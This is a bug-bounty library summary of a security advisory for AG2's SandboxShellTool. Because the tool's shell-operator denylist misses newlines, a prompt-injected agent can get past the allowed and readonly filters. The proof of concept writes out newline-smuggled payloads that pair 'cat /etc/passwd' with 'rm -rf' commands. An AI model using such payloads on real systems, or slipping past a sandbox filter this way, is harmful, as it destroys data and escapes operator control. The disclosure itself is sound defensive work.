# AG2: Newline injection in SandboxShellTool bypasses allowed=[...] and readonly=True, enabling arbitrary command execution

AG2 SandboxShellTool's allowed=[...] and readonly=True filters miss embedded newlines, so `sh -c` runs a second arbitrary command on the host.

- Payout: Research
- Severity: high
- Program: AG2
- Found by: elstati0n
- Disclosed: 2026-11-10
- CVE: CVE-2026-113663
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-2h4w-29cv-2cmv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-2h4w-29cv-2cmv
- Tags: area:ai domain:ai impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:command-injection vuln:prompt-injection

**Target:** SandboxShellTool / ShellAdapter command filter (ag2/tools/sandbox/filter.py)
**Root cause:** contains_shell_operator() denylists `;`, `&&`, `|`, etc. but not `\n`/`\r`, and matches() only checks the command prefix; the raw string is then passed to `sh -c`, which treats a newline as a statement separator.
**Steps:**
1. Configure SandboxShellTool(allowed=['cat']) or readonly=True (READONLY_COMMANDS allowlist).
2. Submit `cat allowed_file.txt\nrm -rf /anything` — matches('cat', cmd) passes and contains_shell_operator() does not flag `\n`.
3. Filter returns None; execution runs `sh -c "cat allowed_file.txt\nrm -rf /anything"`, executing both statements.
4. Confirm with `sh -c 'echo first-command-output\necho SECOND-STATEMENT-RAN-$((21*2))'` printing both lines.
**How found:** Code-read the shared _filter() branch used by both allowed and readonly modes, noticed the _SHELL_OPERATORS denylist enumerates `;`/`&&`/`|` but omits newline, and reasoned that `sh -c` treats newline as a separator; verified by importing the real filter module and comparing `;`/`&&`/`|` rejections against the accepted newline variant.
**Exploitation:** An agent steered by indirect prompt injection (fetched document, tool output) emits a tool argument containing an embedded newline; the filter accepts it and the default LocalEnvironment backend runs it as a host subprocess, yielding arbitrary command execution on the agent host.
**Escalation:** Chains with indirect prompt injection to reach RCE without the operator writing the malicious command; default LocalEnvironment means host-level execution rather than container-confined.
**Insight:** When a sandbox relies on an enumerated shell-metacharacter denylist but still executes via `sh -c`, test every statement separator the shell honors — newline, carriage return, and other whitespace — not just the punctuation the list names; prefix-only allowlist matching never inspects the remainder.

## Proof of concept (copied exactly from the original report)

**Filter test showing newline bypass in both modes**

```
=== allowed=['cat'] ===
'cat /etc/passwd; rm -rf /tmp/x'   -> Command not allowed (shell operators are not permitted in restricted mode): ...
'cat /etc/passwd && rm -rf /tmp/x' -> Command not allowed (shell operators are not permitted in restricted mode): ...
'cat /etc/passwd | rm -rf /tmp/x'  -> Command not allowed (shell operators are not permitted in restricted mode): ...
'cat /etc/passwd\nrm -rf /tmp/x'   -> None   <-- BYPASS: newline variant is NOT rejected

=== readonly=True (uses READONLY_COMMANDS as the allowed list) ===
'echo hi\nid'                      -> None   <-- BYPASS in readonly mode too

=== sh -c really treats the embedded newline as a second statement (mirrors ShellAdapter._exec_async) ===
$ sh -c 'echo first-command-output\necho SECOND-STATEMENT-RAN-$((21*2))'
first-command-output
SECOND-STATEMENT-RAN-42
```

